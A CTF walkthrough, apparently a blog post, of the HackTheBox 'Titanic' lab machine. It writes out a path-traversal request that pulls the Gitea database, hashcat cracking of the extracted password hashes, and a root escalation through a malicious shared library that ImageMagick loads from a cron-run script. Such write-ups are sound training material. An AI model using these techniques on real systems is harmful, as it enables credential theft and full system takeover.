Hey Hackers! š¾
A fresh machine just dropped on HackTheBox (launched 16 Feb 2025), and itās begging to be hacked! š„
ā” Level: Easy
ā” Link: https://app.hackthebox.com/machines/Titanic
Letās get to the fun stuff:
š Port Scanning
šļø Directory Enumeration
š§ Manual Exploration
š Shell as developer
š Privilege Escalation
Ready? Letās go hack this thing! š»āļø
Port Scanning
rustscan -a 10.10.11.55 -r 1-65535 -- -A -oN ports.txt


- Only ports 80 and 22 are open.
- Letās access the website ā just add your IP to the hosts file.
echo '10.10.11.55 titanic.htb' | sudo tee -a /etc/hosts

- Now, letās explore the site to see what it
- At the same time, start your directory enumeration.
Directory Enumeration
gobuster dir -u titanic.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100 -x html,txt,php -o gobuster.txt

- Apart from these two directories, I didnāt find anything interesting in the directory enumeration.
- So, letās check out the website and explore its content.
Initial Access

- Thereās only a āBook Nowā option available, so letās quickly check it out.

- To understand its basic functionality, I entered some random data and submitted the form.

- Upon submission, the data was converted into a JSON file and downloaded locally, serving as a ticket to board the Titanic ship.

- In this type of functionality, where a file is being downloaded, LFI is a great attack vector to test.
- Now, letās fire up Burp Suite and intercept the request.

- Send the request and capture the response to observe what happens.

- It reveals the path from which our file is being downloaded. Just click on the āFollow Redirectionā button to capture the download request.


- After this, try accessing the āpasswdā file. It was easy to get into this machine using this payload.
Local File Inclusion

- I tried accessing a lot of things here, but unfortunately, I kept coming up empty-handed every time ā whether it was theĀ
id_rsa
, authorized keys, or log files. Nothing interesting was found. - So, I’ve decided to start host fuzzing since I couldn’t find anything here.
Subdomain Enumeration
gobuster vhost -u titanic.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -t 100 2>/dev/null --follow-redirect

- Add ādev.titanic.htbā to your /etc/hosts file, just like we did at the beginning.

- Letās head over to ādev.titanic.htbā.

- Since Iāve dealt with this Gitea in another CTF, I directly clicked on the āExploreā button.

- I checked both directories and found the credentials and the path.


- By default, Gitea stores its credentials in aĀ
gitea.db
Ā file, so let’s try to access thisĀ.db
Ā file through the LFI vulnerability we discovered.
Hash Extraction from DB file

- Letās useĀ
curl
Ā to retrieve theĀgitea.db
Ā file and store it locally.
curl http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/gitea.db -o gitea.db

- Now, we need to extract the hashes from this file. I tried doing it manually, but it didnāt work out, so letās use a tool available on GitHub for this purpose.
GitHub – YukaFake/extract_hash_to_pbkdf2: This is a small script to extract hash once you have theā¦
This is a small script to extract hash once you have the gitea db file, it is recommended for some machines for Hackā¦
- Download this file and run it with this command.
./extract_hash_format.sh gitea.db > hashes.txt

- We wonāt be decrypting them directly. Instead, weāll use Hashcat. But before that, letās extract the name subsection from the file so that Hashcat can understand it clearly and avoid any errors.

- I just extracted the username subsection and the administrator hash because it wonāt crack ā I already tried cracking that one.
Hash Cracking
hashcat -m 10900 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force
- It successfully cracked the password for the user ādeveloper.ā

- Letās SSH into the machine and gain our initial access.
Shell as ādeveloperā user

- Hereās our shell, and weāve successfully submitted the āuser.txtā file.

Privilege Escalation
- You might get stuck here like I did, as I checked almost everything, including the sudoers file, SUIDs, cronjobs, any malicious files, and
- At this point, itās better to run LinPEAS, and if you take a close look at the output, youāll notice a binary: ā/usr/bin/magickā.
magick --version

- Do a quick Google search, and youāll come across this GitHub resource.

- Just scroll down, and youāll find this.

- Now we have everything we need. We just need a file that runs āmagickā with root privileges. Once we have that, we can place our shared library in the respective directory, and whenever that file is executed, our shared library will run.
- In LinPEAS, youāll notice a few āinteresting paths,ā such as:
- /opt/scripts
- /opt/app/static/assets/images/
In ā/opt/scripts/ā, youāll find this file.

- This file essentially performs three tasks:
- It changes the directory toĀ
/opt/app/static/assets/images/
. - It truncates (empties) theĀ
metadata.log
Ā file in that directory. - It then finds all theĀ
.jpg
Ā files in that directory, uses the “magick” tool to extract the metadata from those images, and stores the log intoĀmetadata.log
.
- Now, we just need to place our shared library payload in
- Before that, edit the payload to give you a shell. You can try whatever works best for you.
- For me, I madeĀ
/bin/bash
Ā a SUID and then executed it.
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("chmod u+s /bin/bash");
exit(0);
}
EOF
- I pasted this in ā/opt/app/static/assets/images/ā and pressed enter.

- Now, we just need one thing: a way to run this file as root, which will makeĀ
/bin/bash
Ā a SUID, allowing us to execute it and gain a root shell. - Thanks to my friend āYannisā, who noticed that a hidden cron job is running this binary every 20 seconds and then deleting the file after execution.
- So, I simply waited for 20 seconds, and then I executed theĀ
bash
Ā command.
/bin/bash -p

Thank you! I hope you enjoyed this walkthrough.
Buy me a coffee : https://buymeacoffee.com/rghacker
Youtube : https://www.youtube.com/@theunixverse77